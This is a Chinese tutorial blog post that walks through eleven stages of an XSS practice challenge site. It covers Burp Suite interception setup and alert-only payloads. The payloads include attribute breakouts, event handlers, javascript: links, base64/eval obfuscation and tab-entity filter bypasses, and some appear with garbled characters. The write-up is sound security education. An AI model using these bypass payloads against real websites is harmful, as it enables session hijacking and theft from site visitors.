漏洞篇(XSS跨站脚本攻击二)

文章详细介绍了如何配置burpsuite以拦截HTTPS流量,并逐步讲解了手动挖掘XSS漏洞的各种方法,包括无过滤注入、属性注入、选择列表注入、隐藏域注入等,以及如何绕过各种过滤机制执行XSS攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

一、xss challenges 闯关游戏环境准备

二、手动挖掘 XSS 漏洞

1、Stage #1 无过滤的 XSS 注入

2、Stage #2 属性中的 XSS 注入

3、Stage #3 选择列表中的 XSS 注入

4、Stage #4 在隐藏域中注入 XSS

5、Stage #5 限制输入长度的解决方式

6、Stage #6 限制输入<>的 XSS 注入

7、Stage #7 限制输入引号的 XSS 注入

8、Stage #8 JavaScript 伪协议

9、Stage #9 UTF-7 编码注入(跳过)

10、Stage #10 绕过关键字 domain

11、Stage #11 绕过过滤 script 和 on 关键字的 XSS 注入


一、xss challenges 闯关游戏环境准备

1、配置 burpsuite 加载证书用于截断 https 协议 

 首先打开 burpsuite 开启监听:

配置火狐使用 burpsuite 代理上网 

访问:http://burp/

 浏览器中导入证书

 

 配置完成后正常截断 HTTPS 协议。

        

 如果是google安装

访问下载后

         

 

 

导入完成 

        

二、手动挖掘 XSS 漏洞

1、Stage #1 无过滤的 XSS 注入

访问:https://xss-quiz.int21h.jp
注:提示中的内容需要选中才会显示
        
document.domain #该属性是一个只读的字符串,包含了载入当前文档的 web 服务器的主机
名。
        

输入值我们输入的信息会被加载到页面中,我们加载 <script>alert(document.domain);</script>

         

 确实插入在 b 标签中,正常来说我们这样已经注入成功了

例 2:使用闭合标签方式进行反射型 XSS 注入
        
它和我们学习 SQL 注入时很像,可以使用对应的闭合方式进行插入代码。
b 标签的结构是<b>“文本信息”</b>作用是加粗文本信息
我们搜索时使用</b>对 b 标签进行闭合。在输入栏,输入:
1</b> <script>alert(document.domain);</script>

         

         

2、Stage #2 属性中的 XSS 注入

对input进行闭合 

root"><script>alert(document.domain);</script>

        
例 1:onmouseover 事件:当鼠标指针移至元素之上时运行脚本
输入以下代码:
" οnmοuseοver=alert(document.domain)>
使用方式很简单,使用双引号闭合 value 属性,添加事件 onmouseover 当鼠标移动到添加事件的 元素中时,执行 JavaScript 代码 alert(document.domain)弹出域名
        

            

3、Stage #3 选择列表中的 XSS 注入

我们注入的信息被转义成文本信息显示出来了,并没有被执行。

因为我们在输入时,下拉列表选项是不能进行修改的,但是我们可以 使用 burpsuite 截取数据包对
右侧选择列表进行注入
        

                 

 在浏览器中查看结果

 

 注入成功

        

4、Stage #4 在隐藏域中注入 XSS

 截取时发现一个隐藏参数

隐藏域是用来收集或发送不可见元素的信息,对于网页的访问者来说,隐藏域是看不见的。 当表单被 提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上
那么为什么需要将参数隐藏呢?原因很简单,这样可以避免在 URL 中传递参数,传递的参数用户不 可见。
        

         

页面中存在一个 p3 参数,type 类型为 hidden,闭合方式为双引号,所以 p3 为隐藏参数。
我们使用 burpsuite 进行截断数据包进行分析。

        

p3 的值为 hackme 我们直接插入代码 "><script>alert(document.domain)</script>, 这里必
须使用 ">闭合,这样 XSS 代码才会被执行。
        

        

5、Stage #5 限制输入长度的解决方式

代码中定了文本框,类型为 text,最多允许输入 15 个字符,修改输入长度限制

"><script>alert(document.domain);</script>

         

         

6、Stage #6 限制输入<>的 XSS 注入

html 事件中常见的鼠标事件:
属性
描述
onclick
script当单击鼠标时运行脚本
ondblclick
script当双击鼠标时运行脚本
ondragscript 当拖动元素时运行脚本
ondragend
script当拖动操作结束时运行脚本
ondragenter
script当元素被拖动至有效的拖放目标时运行脚本
ondragleave
script当元素离开有效拖放目标时运行脚本
ondragover
script当元素被拖动至有效拖放目标上方时运行脚本
ondragstart
script当拖动操作开始时运行脚本
ondropscript当被拖动元素正在被拖放时运行脚本

更多事件,请参考:
https://baike.baidu.com/item/%E4%BA%8B%E4%BB%B6/6129173?fr=aladdin

         

当尝试输入root"><script>alert(document.domain);</script>注入时,

可以看到 JavaScript 代码已经注入,但是我们发现<>符号都过滤成了&lt 和%gt   

           

我们使用双引号"来闭合 value 属性,然后添加一个事件,执行 XSS 脚本。
123" οnmοuseοver="alert(document.domain)"

         

        

7、Stage #7 限制输入引号的 XSS 注入

我们 使用空格对 payload 进行分割,输入以下内容:
123 οnmοuseοver=alert(document.domain)
使用空格分割事件,去掉所有引号。

        

8、Stage #8 JavaScript 伪协议

我们结合 Stage #8 输入一个 URL 在页面中添加一个 URL,这样我们可以输入一个 JavaScript:伪 协议用户点击链接时直接调用 JavaScript 代码,触发 XSS 攻击。 输入:
javascript:alert(document.domain)
需要手动点击 URL 进行触发
        

         

9、Stage #9 UTF-7 编码注入(跳过)

跳过关卡的方法:
在 id 字段后添加事件: οnclick="alert(document.domain)"
Onclick (当鼠标点击时触发事件)
        

     

        

10、Stage #10 绕过关键字 domain

使用双写绕 过尝试进行注入
root"><script>alert(document. do domain main );</script>

         

         

使用base64编码绕过进行注入

root"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
        
atob()函数将 base64 加密后的字符串进行解密还原为 alert(document.domain)
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
        

         

         

11、Stage #11 绕过过滤 script 和 on 关键字的 XSS 注入

本题的提示含意:Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;" 提示的意思是:
        
将 script 替换成 xscript ;
将 on[a-z]+= 替换成 onxxx= ;
正则表达式 表示以 on 开头的都替换
将 style= 替换成 stxxx= ;

        

<input type="text" name="p1" size="50"
value="root"> <xscript>alert(document.dodomainmain);</xscript> ">
        
我们看到 script 被过滤成了 xscript 此外提示信息中还过滤了 on 和 style 我们看一下具体代码
" s/script/xscript/ig ;" and " s/on[a-z]+=/onxxx=/ig ;" and " s/style=/stxxx=/ig ;"
过滤 script 主要过滤我们直接插入的 JavaScript 代码
过滤 on 可以过滤掉事件
style 我们还没有接触暂时先不讲。
那么过滤了 script 和 on 事件我们还有其他的注入方式吗?

        

例 1:伪协议绕过
xuegod"><a href="javascript:alert(document.domain);">xss</a>
这里发现 javajcript 也会被过滤成 javaxscript
        
<input type="text" name="p1" size="50" value="xuegod"><a
href=" javaxscript :alert(document.domain);">xss</a>">
        
我们在 script 中间加上空格来绕过过滤机制
        
伪协议中 后面是代码 同时也是 url 地址 url 编码
        
xuegod"><a href="javas%20cript:alert(document.domain);">xss</a>
xuegod"><a href="javas%0acript:alert(document.domain);">xss</a>
但是%20 没有被过滤
xuegod"><a href="javas cript:alert(document.domain);">xss</a>

        

我们可以看到我们的超链接请求在内部是不存在的,我们可以看到 URL 中传递的参数
javas %20%20%20 cript:alert(document.domain);发现空格经过 URL 编码之后并没有被忽略掉而执 行整条 JavaScript 代码。
而且经测试%0a 和%0d 这样的空格符会被转换成原本的字符。
        
xuegod"><a href="javas & #0a cript:alert(document.domain);">xss</a>
xuegod"><a href="javas &# 0d cript:alert(document.domain);">xss</a>

        

我们看到这种宽字符会被自动转码为原始字符到代码中被执行,
javas cript:alert(document.domain);那只要将我们添加的符号 定义为浏览器可以忽略的符号代码即 可正常执行
我们来测试一个能够被浏览器忽略的字符 tab 符号

        

%09 的 URL 编码实体编码是
1. 浏览器加载页面
2. 解析标签构造 dom 树
3. a 标签自动解码 实体编码
4. 解码之后 还原成 tab 符号
我们输入以下 payload:
root"><a href="javas &#09 cript:alert(document.domain);">xss</a>

        

查看源码
<input type="text" name="p1" size="50" value="root"><a
href="javas cript:alert(document.domain);">xss</a>">
        
可以发现字符并没有被过滤还是原本的 ,那么为什么代码成功执行了?
因为空格和%0a 这种宽字符都是实际存在的字符,而 就不一样了,它是 一个 tab 符浏览器解
析时会自动忽略该字符 ,所以代码能够成功执行。
        
&NewLine;         实体名称
xuegod"><a href="javas &NewLine; cript:alert(document.domain);">xss</a>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值